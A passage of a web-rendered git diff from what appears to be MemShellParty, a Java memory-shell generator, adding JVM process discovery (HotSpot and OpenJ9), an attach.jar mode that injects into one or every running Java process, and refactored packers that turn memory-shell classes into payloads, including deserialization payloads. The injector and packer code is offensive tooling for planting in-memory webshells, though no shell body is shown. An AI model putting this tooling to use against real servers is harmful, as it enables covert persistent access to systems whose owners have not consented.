int dataEnd = dataStart;
|
||||
while (dataEnd < totalRead && data[dataEnd] != 0) {
|
||||
dataEnd++;
|
||||
}
|
||||
return new String(data, dataStart, dataEnd - dataStart, "UTF-8");
|
||||
}
|
||||
|
||||
pos += entryLength;
|
||||
}
|
||||
|
||||
return "";
|
||||
} catch (Exception ignored) {
|
||||
return "";
|
||||
} finally {
|
||||
if (fis != null) {
|
||||
try {
|
||||
fis.close();
|
||||
} catch (IOException ignored) {
|
||||
/* do nothing */
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Checks if a string consists entirely of digit characters.
|
||||
*
|
||||
* @param str The string to check.
|
||||
* @return {@code true} if the string is non-empty and contains only digits.
|
||||
*/
|
||||
private static boolean isNumeric(String str) {
|
||||
if (str == null || str.isEmpty()) {
|
||||
return false;
|
||||
}
|
||||
for (int i = 0; i < str.length(); i++) {
|
||||
if (str.charAt(i) < '0' || str.charAt(i) > '9') {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Extracts the main class name from a {@code sun.rt.javaCommand} value.
|
||||
* The value format is typically {@code "mainClass arg1 arg2 ..."} or
|
||||
* {@code "/path/to/app.jar arg1 arg2 ..."}. This method returns the
|
||||
* first space-delimited token.
|
||||
*
|
||||
* @param javaCommand The full Java command string.
|
||||
* @return The main class or JAR name, or empty string if input is empty.
|
||||
*/
|
||||
private static String extractMainClass(String javaCommand) {
|
||||
if (javaCommand == null || javaCommand.isEmpty()) {
|
||||
return "";
|
||||
}
|
||||
int spaceIndex = javaCommand.indexOf(' ');
|
||||
return spaceIndex > 0 ? javaCommand.substring(0, spaceIndex) : javaCommand;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Discovers running OpenJ9 JVM processes by scanning {@code .com_ibm_tools_attach} directories
|
||||
* and reading {@code attachInfo} property files.
|
||||
*/
|
||||
private static class OpenJ9ProcessDiscovery {
|
||||
|
||||
/**
|
||||
* The directory name used by OpenJ9 for attach API information.
|
||||
*/
|
||||
private static final String ATTACH_DIR_NAME = ".com_ibm_tools_attach";
|
||||
|
||||
/**
|
||||
* The file name containing process attach information within each VM directory.
|
||||
*/
|
||||
private static final String ATTACH_INFO_FILE = "attachInfo";
|
||||
|
||||
/**
|
||||
* Discovers all OpenJ9 JVM processes visible to the current user.
|
||||
*
|
||||
* @return A list of discovered OpenJ9 Java process descriptors.
|
||||
*/
|
||||
static List<JavaProcessDescriptor> discover() {
|
||||
List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
|
||||
for (File attachDir : getAttachDirectories()) {
|
||||
if (!attachDir.isDirectory()) {
|
||||
continue;
|
||||
}
|
||||
File[] vmDirs = attachDir.listFiles();
|
||||
if (vmDirs == null) {
|
||||
continue;
|
||||
}
|
||||
for (File vmDir : vmDirs) {
|
||||
if (!vmDir.isDirectory()) {
|
||||
continue;
|
||||
}
|
||||
File attachInfo = new File(vmDir, ATTACH_INFO_FILE);
|
||||
if (!attachInfo.isFile() || !attachInfo.canRead()) {
|
||||
continue;
|
||||
}
|
||||
FileInputStream fis = null;
|
||||
try {
|
||||
Properties props = new Properties();
|
||||
fis = new FileInputStream(attachInfo);
|
||||
props.load(fis);
|
||||
String pid = props.getProperty("processId");
|
||||
String displayName = props.getProperty("displayName", "");
|
||||
if (pid != null && pid.length() > 0) {
|
||||
result.add(new JavaProcessDescriptor(pid, displayName, "OpenJ9"));
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
/* do nothing */
|
||||
} finally {
|
||||
if (fis != null) {
|
||||
try {
|
||||
fis.close();
|
||||
} catch (IOException ignored) {
|
||||
/* do nothing */
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the list of directories to scan for OpenJ9 attach information.
|
||||
* On Windows, uses {@code java.io.tmpdir}. On Linux/macOS, uses {@code /tmp}
|
||||
* and also {@code java.io.tmpdir} if it differs. Additionally checks the
|
||||
* {@code com.ibm.tools.attach.directory} system property.
|
||||
*
|
||||
* @return A list of attach directories to scan.
|
||||
*/
|
||||
private static List<File> getAttachDirectories() {
|
||||
List<File> dirs = new ArrayList<File>();
|
||||
String osName = System.getProperty("os.name", "");
|
||||
if (osName.startsWith("Windows")) {
|
||||
dirs.add(new File(System.getProperty("java.io.tmpdir"), ATTACH_DIR_NAME));
|
||||
} else {
|
||||
dirs.add(new File("/tmp", ATTACH_DIR_NAME));
|
||||
String javaIoTmpDir = System.getProperty("java.io.tmpdir");
|
||||
if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
|
||||
dirs.add(new File(javaIoTmpDir, ATTACH_DIR_NAME));
|
||||
}
|
||||
}
|
||||
String ibmAttachDir = System.getProperty("com.ibm.tools.attach.directory");
|
||||
if (ibmAttachDir != null) {
|
||||
dirs.add(new File(ibmAttachDir));
|
||||
}
|
||||
return dirs;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,9 +1,46 @@
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/5/16
|
||||
*/
|
||||
public class Main {
|
||||
/**
|
||||
* java -jar attach.jar — 列出所有 Java 进程
|
||||
* java -jar attach.jar <pid> — 注入指定进程
|
||||
* java -jar attach.jar all — 注入所有 Java 进程(自动跳过自身,单个失败不影响其他进程)
|
||||
*/
|
||||
public static void main(String[] args) throws Exception {
|
||||
Attacher.attach(args[0]);
|
||||
if (args.length == 0) {
|
||||
List<Attacher.JavaProcessDescriptor> processes = Attacher.listJavaProcesses();
|
||||
if (processes.isEmpty()) {
|
||||
System.out.println("No Java processes found.");
|
||||
} else {
|
||||
for (Attacher.JavaProcessDescriptor process : processes) {
|
||||
System.out.println(process);
|
||||
}
|
||||
}
|
||||
} else if ("all".equalsIgnoreCase(args[0])) {
|
||||
List<Attacher.JavaProcessDescriptor> processes = Attacher.listJavaProcesses();
|
||||
String currentPid = Attacher.ProcessProvider.ForCurrentVm.INSTANCE.resolve();
|
||||
if (processes.isEmpty()) {
|
||||
System.out.println("No Java processes found.");
|
||||
} else {
|
||||
for (Attacher.JavaProcessDescriptor process : processes) {
|
||||
if (process.getPid().equals(currentPid)) {
|
||||
continue;
|
||||
}
|
||||
try {
|
||||
System.out.println("Attaching to " + process + " ...");
|
||||
Attacher.attach(process.getPid());
|
||||
System.out.println(" -> Success");
|
||||
} catch (Exception e) {
|
||||
System.out.println(" -> Failed: " + e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
Attacher.attach(args[0]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -5,7 +5,7 @@ plugins {
|
||||
}
|
||||
|
||||
group = "io.github.reajason"
|
||||
description = "Java payload packer for MemShellParty"
|
||||
description = "Java deserialize payload for MemShellParty"
|
||||
version = rootProject.version
|
||||
|
||||
dependencies {
|
||||
|
||||
@@ -0,0 +1,50 @@
|
||||
package com.reajason.javaweb.packer;
|
||||
|
||||
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/26
|
||||
*/
|
||||
public interface AggregatePacker extends Packer {
|
||||
|
||||
/**
|
||||
* 聚合打包当前所有分类下的 payload
|
||||
*
|
||||
* @param config 生成结果
|
||||
* @return key - 打包名称,value - 打包 payload
|
||||
*/
|
||||
default Map<String, String> packAll(ClassPackerConfig config) {
|
||||
return Packers.getPackersWithParent(this.getClass()).stream().collect(Collectors.toMap(
|
||||
Enum::name,
|
||||
packers -> {
|
||||
try {
|
||||
return packers.getInstance().pack(config);
|
||||
} catch (Exception e) {
|
||||
return e.getMessage();
|
||||
}
|
||||
},
|
||||
(existing, replacement) -> existing,
|
||||
LinkedHashMap::new
|
||||
));
|
||||
}
|
||||
|
||||
/**
|
||||
* 将第一个 sub packer 作为默认输出
|
||||
*
|
||||
* @param config 生成的内存马信息
|
||||
* @return payload
|
||||
*/
|
||||
@Override
|
||||
default String pack(ClassPackerConfig config) {
|
||||
List<Packers> packersWithParent = Packers.getPackersWithParent(this.getClass());
|
||||
if (packersWithParent.isEmpty()) {
|
||||
return null;
|
||||
}
|
||||
return packersWithParent.get(0).getInstance().pack(config);
|
||||
}
|
||||
}
|
||||
@@ -7,10 +7,9 @@ import lombok.Data;
|
||||
* @since 2025/6/27
|
||||
*/
|
||||
@Data
|
||||
public class ClassPackerConfig<T> {
|
||||
public class ClassPackerConfig {
|
||||
private String className;
|
||||
private byte[] classBytes;
|
||||
private String classBytesBase64Str;
|
||||
private boolean byPassJavaModule;
|
||||
private T customConfig;
|
||||
}
|
||||
|
||||
@@ -9,8 +9,7 @@ import java.util.Map;
|
||||
* @since 2025/6/27
|
||||
*/
|
||||
@Data
|
||||
public class JarPackerConfig<T> {
|
||||
public class JarPackerConfig {
|
||||
private String mainClassName;
|
||||
private transient Map<String, byte[]> classBytes;
|
||||
private T customConfig;
|
||||
}
|
||||
|
||||
@@ -1,19 +1,10 @@
|
||||
package com.reajason.javaweb.packer;
|
||||
|
||||
import com.reajason.javaweb.packer.spec.PackerSchema;
|
||||
|
||||
import java.lang.reflect.ParameterizedType;
|
||||
import java.lang.reflect.Type;
|
||||
import java.util.Map;
|
||||
import java.util.Optional;
|
||||
import java.util.concurrent.ConcurrentHashMap;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/26
|
||||
*/
|
||||
public interface Packer<T> {
|
||||
TypeCache TYPE_CACHE = new TypeCache();
|
||||
public interface Packer {
|
||||
|
||||
/**
|
||||
* 将自定义类打包成特定 payload
|
||||
@@ -21,71 +12,7 @@ public interface Packer<T> {
|
||||
* @param classPackerConfig 自定义类信息
|
||||
* @return 字符串 payload
|
||||
*/
|
||||
default String pack(ClassPackerConfig<T> classPackerConfig) {
|
||||
default String pack(ClassPackerConfig classPackerConfig) {
|
||||
throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 string 生成");
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
default Class<T> customConfigType() {
|
||||
Optional<Class<?>> resolved = TYPE_CACHE.cache.computeIfAbsent(this.getClass(), TypeResolver::resolveCustomConfigType);
|
||||
return (Class<T>) resolved.orElse(null);
|
||||
}
|
||||
|
||||
default T resolveCustomConfig(Object rawCustomConfig) {
|
||||
Class<T> clazz = customConfigType();
|
||||
if (clazz == null) {
|
||||
return null;
|
||||
}
|
||||
return PackerConfigConverter.convert(rawCustomConfig, clazz);
|
||||
}
|
||||
|
||||
/**
|
||||
* Packer config schema for UI rendering.
|
||||
*/
|
||||
default PackerSchema schema() {
|
||||
return PackerSchema.empty();
|
||||
}
|
||||
|
||||
final class TypeCache {
|
||||
private final Map<Class<?>, Optional<Class<?>>> cache = new ConcurrentHashMap<>();
|
||||
}
|
||||
|
||||
final class TypeResolver {
|
||||
private TypeResolver() {
|
||||
}
|
||||
|
||||
private static Optional<Class<?>> resolveCustomConfigType(Class<?> clazz) {
|
||||
Class<?> current = clazz;
|
||||
while (current != null && current != Object.class) {
|
||||
Optional<Class<?>> fromInterfaces = resolveFromTypes(current.getGenericInterfaces());
|
||||
if (fromInterfaces.isPresent()) {
|
||||
return fromInterfaces;
|
||||
}
|
||||
current = current.getSuperclass();
|
||||
}
|
||||
return Optional.empty();
|
||||
}
|
||||
|
||||
private static Optional<Class<?>> resolveFromTypes(Type[] types) {
|
||||
for (Type type : types) {
|
||||
if (!(type instanceof ParameterizedType)) {
|
||||
continue;
|
||||
}
|
||||
ParameterizedType parameterizedType = (ParameterizedType) type;
|
||||
if (!(parameterizedType.getRawType() instanceof Class)) {
|
||||
continue;
|
||||
}
|
||||
Class<?> rawType = (Class<?>) parameterizedType.getRawType();
|
||||
if (rawType != Packer.class) {
|
||||
continue;
|
||||
}
|
||||
Type configType = parameterizedType.getActualTypeArguments()[0];
|
||||
if (configType instanceof Class) {
|
||||
return Optional.of((Class<?>) configType);
|
||||
}
|
||||
return Optional.empty();
|
||||
}
|
||||
return Optional.empty();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,27 +0,0 @@
|
||||
package com.reajason.javaweb.packer;
|
||||
|
||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||
|
||||
/**
|
||||
* Shared conversion helper for packer custom config.
|
||||
*/
|
||||
final class PackerConfigConverter {
|
||||
private static final ObjectMapper OBJECT_MAPPER = new ObjectMapper();
|
||||
|
||||
private PackerConfigConverter() {
|
||||
}
|
||||
|
||||
static <R> R convert(Object customConfig, Class<R> clazz) {
|
||||
if (customConfig == null) {
|
||||
return null;
|
||||
}
|
||||
if (clazz.isInstance(customConfig)) {
|
||||
return clazz.cast(customConfig);
|
||||
}
|
||||
try {
|
||||
return OBJECT_MAPPER.convertValue(customConfig, clazz);
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new IllegalArgumentException("invalid customConfig for " + clazz.getSimpleName() + ": " + e.getMessage(), e);
|
||||
}
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user